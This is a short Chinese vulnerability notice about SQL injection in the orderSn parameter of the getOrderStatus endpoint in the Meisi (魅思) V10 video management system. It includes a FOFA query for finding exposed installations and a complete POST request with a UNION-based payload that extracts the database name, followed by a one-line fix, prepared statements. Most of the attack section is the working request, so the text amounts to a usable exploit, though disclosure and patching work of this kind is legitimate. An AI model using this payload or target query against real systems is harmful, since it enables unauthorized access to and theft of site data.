0x01 漏洞描述:
魅思是一款集成了视频管理、用户管理、手机端应用封装等功能的综合性视频管理系统。该系统不仅以其强大的视频管理功能、灵活的用户管理机制、便捷的手机端应用封装功能以及高安全性和现代化的界面设计,成为了市场上备受关注的视频管理系统之一。无论是对于专业的视频内容创作者还是对于需要视频管理功能的企业和个人用户来说,都是一个值得考虑的选择。
在位于 /controller/Api.php 控制器中的getOrderStatus 方法传入后直接拼接了 orderSn 变量到 where 查询中,导致漏洞产生。
0x02 影响版本:
魅思 V10
0x03 搜索语句:
Fofa:app="魅思-视频管理系统"
0x04 漏洞复现:
POST /api/getOrderStatus HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: closeorderSn=') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(IFNULL(CAST(database() AS NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL-- -
0x05 修复建议:
使用预编译语句并对键入的特殊字符进行编码。